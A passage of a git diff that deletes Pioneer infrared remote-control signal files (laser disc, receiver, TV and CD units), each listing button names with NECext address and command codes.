parsed -protocol: NECext -address: A8 00 00 00 -command: 58 00 00 00 -# -name: MULTI_SPEED_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 58 00 00 00 -# -name: MULTISPEED_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 58 00 00 00 -# -name: INDEX_SKIP_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 59 00 00 00 -# -name: HILITE/INTRO -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5A 00 00 00 -# -name: STILL_WTIH_SOUND -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5B 00 00 00 -# -name: ONE-SHOT_MEMORY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5E 00 00 00 -# -name: PANDOM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir deleted file mode 100644 index ea1ba088e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: A9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: B8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: BE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: E3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: EF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: FC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir deleted file mode 100644 index 3cd8f38fd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 10 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 09 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 13 00 00 00 -# -name: 11/PGM -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 46 00 00 00 -# -name: 12/CLEAR -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 47 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 4D 00 00 00 -# -name: FREQ/CH_UP -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 56 00 00 00 -# -name: FREQ/CH_DOWN -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 57 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: A4 00 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir deleted file mode 100644 index 7b1e343f9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir +++ /dev/null @@ -1,368 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 09 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0B 00 00 00 -# -name: INPUT:_TV/SAT -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0C 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0C 00 00 00 -# -name: LASER_DISC -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0D 00 00 00 -# -name: INPUT:_VCR2 -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0E 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0E 00 00 00 -# -name: INPUT:_VCR1 -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0F 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 0F 00 00 00 -# -name: INPUT:_TAPE1/MD -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 11 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 12 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 13 00 00 00 -# -name: AUDIO_SOURCE_1 -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 13 00 00 00 -# -name: AUDIO_SOURCE_2 -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 13 00 00 00 -# -name: INPUT:_VIDEO -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 16 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 16 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 1A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 1B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 1C 00 00 00 -# -name: TAPE_2_MONITOR -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 1D 00 00 00 -# -name: TAPE_2/MONITOR -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 1D 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 40 00 00 00 -# -name: LEVEL_CENTER_- -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 41 00 00 00 -# -name: LEVEL_REAR_+ -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 41 00 00 00 -# -name: LEVEL_CENTER_+ -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 42 00 00 00 -# -name: LEVEL_REAR_- -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 42 00 00 00 -# -name: VCR_3 -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 46 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 47 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 47 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 48 00 00 00 -# -name: BALLANCE_R -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 49 00 00 00 -# -name: BALLANCE_L -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 4B 00 00 00 -# -name: INPUT:_CD -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 4C 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 4C 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 4D 00 00 00 -# -name: TAPE_1/DAT -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 4E 00 00 00 -# -name: LINE -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 4F 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 51 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 52 00 00 00 -# -name: VIDEO_SELECT -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 54 00 00 00 -# -name: ACOUSTIC -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 56 00 00 00 -# -name: ENHANCER -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 56 00 00 00 -# -name: JOG_MODE -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 56 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 56 00 00 00 -# -name: JOG_- -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 57 00 00 00 -# -name: JOG_+ -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 57 00 00 00 -# -name: CONFIRM -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 59 00 00 00 -# -name: -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 59 00 00 00 -# -name: SPEAKER_A -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 59 00 00 00 -# -name: SPEAKER_B -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 59 00 00 00 -# -name: CENTER_MODE -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 5A 00 00 00 -# -name: REAR_BAL_L -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 5A 00 00 00 -# -name: REAR_BAL_R -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 5A 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 5D 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 5D 00 00 00 -# -name: INPUT:_DVD/LD -type: parsed -protocol: NECext -address: A5 00 00 00 -command: 85 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/TV/170,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/TV/170,-1.ir deleted file mode 100644 index 96a3aa21e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/TV/170,-1.ir +++ /dev/null @@ -1,464 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 09 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0A 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0B 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0C 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0C 00 00 00 -# -name: TV_INPUT_SEL -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0D 00 00 00 -# -name: LD_INPUT_SEL -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0E 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0E 00 00 00 -# -name: VIDEO2_INPUT_SEL -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0F 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0F 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0F 00 00 00 -# -name: VIDEO1_INPUT_SEL -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 10 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 11 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 11 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 14 00 00 00 -# -name: P_IN_P -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 14 00 00 00 -# -name: CH_SCAN -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 15 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 17 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 18 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 1C 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 1E 00 00 00 -# -name: CH_ENTER -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 1F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 1F 00 00 00 -# -name: STD/AV_MEM -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 43 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 48 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 49 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 49 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 4A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 56 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 56 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 56 00 00 00 -# -name: VIDEO3_INPUT_SEL -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 56 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 57 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5C 00 00 00 -# -name: CH_RETURN -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5C 00 00 00 -# -name: MENU_SET -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 8A 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 8A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 8B 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 94 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 94 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 95 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 95 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 96 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 96 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 97 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 97 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: AA 00 00 00 -command: D3 00 00 00 -# -name: INPUT:_ANTENNA -type: parsed -protocol: NECext -address: AA 00 00 00 -command: D3 00 00 00 -# -name: INPUT:_DVD/LD -type: parsed -protocol: NECext -address: AA 00 00 00 -command: D3 00 00 00 -# -name: INPUT:_VIDEO_1 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: D3 00 00 00 -# -name: INPUT:_VIDEO_3 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: D3 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: AA 00 00 00 -command: D3 00 00 00 -# -name: PIP_CH_- -type: parsed -protocol: NECext -address: AA 00 00 00 -command: D3 00 00 00 -# -name: PIP_CH_+ -type: parsed -protocol: NECext -address: AA 00 00 00 -command: D3 00 00 00 -# -name: CC_MODE -type: parsed -protocol: NECext -address: AA 00 00 00 -command: D3 00 00 00 -# -name: CINEMA_WIDE -type: parsed -protocol: NECext -address: AA 00 00 00 -command: D3 00 00 00 -# -name: STROBE -type: parsed -protocol: NECext -address: AA 00 00 00 -command: D6 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: AA 00 00 00 -command: D7 00 00 00 -# -name: MULTI -type: parsed -protocol: NECext -address: AA 00 00 00 -command: D9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AA 00 00 00 -command: DE 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/TV/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/TV/175,-1.ir deleted file mode 100644 index 16aa073e6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/TV/175,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 38 00 00 00 -# -name: -type: parsed -protocol: NECext -address: AF 00 00 00 -command: 3C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir deleted file mode 100644 index 3357c047b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 0B 00 00 00 -# -name: CH_PLUS -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 10 00 00 00 -# -name: CH_MINUS -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 1C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 24 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 25 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 26 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 27 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 28 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 38 00 00 00 -# -name: INPUT_ANT -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 45 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 49 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 4A 00 00 00 -# -name: INPUT1 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5A 00 00 00 -# -name: INPUT2 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5A 00 00 00 -# -name: INPUT3 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5A 00 00 00 -# -name: INPUT4 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5A 00 00 00 -# -name: HDMI5 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5A 00 00 00 -# -name: HDMI6 -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5A 00 00 00 -# -name: INPUT_PC -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5A 00 00 00 -# -name: DOT -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5A 00 00 00 -# -name: CH_ENTER -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5A 00 00 00 -# -name: CH_RETURN -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5B 00 00 00 -# -name: HOME_MENU -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5B 00 00 00 -# -name: TV_GUIDE -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5B 00 00 00 -# -name: DAY_PLUS -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5B 00 00 00 -# -name: DAY_MINUS -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5B 00 00 00 -# -name: PAGE_PLUS -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5B 00 00 00 -# -name: PAGE_MINUS -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5B 00 00 00 -# -name: BLUE_A -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5B 00 00 00 -# -name: RED_B -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5B 00 00 00 -# -name: GREEN_C -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5B 00 00 00 -# -name: YELLOW_D -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5B 00 00 00 -# -name: SCREEN_SIZE -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5E 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5E 00 00 00 -# -name: AV_SELECTION -type: parsed -protocol: NECext -address: AA 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir deleted file mode 100644 index e42b0c06c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 0B 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 17 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 1C 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 44 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 4C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 72 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 73 00 00 00 -# -name: set -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 74 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 90 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 91 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 92 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 93 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 94 00 00 00 -# -name: disp -type: parsed -protocol: NECext -address: A6 00 00 00 -command: 9D 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: A6 00 00 00 -command: A0 00 00 00 -# -name: am -type: parsed -protocol: NECext -address: A6 00 00 00 -command: A0 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: A6 00 00 00 -command: A0 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: A6 00 00 00 -command: A0 00 00 00 -# -name: md -type: parsed -protocol: NECext -address: A6 00 00 00 -command: A2 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: A6 00 00 00 -command: CE 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: A6 00 00 00 -command: DA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir deleted file mode 100644 index bb2122a3b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A2 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 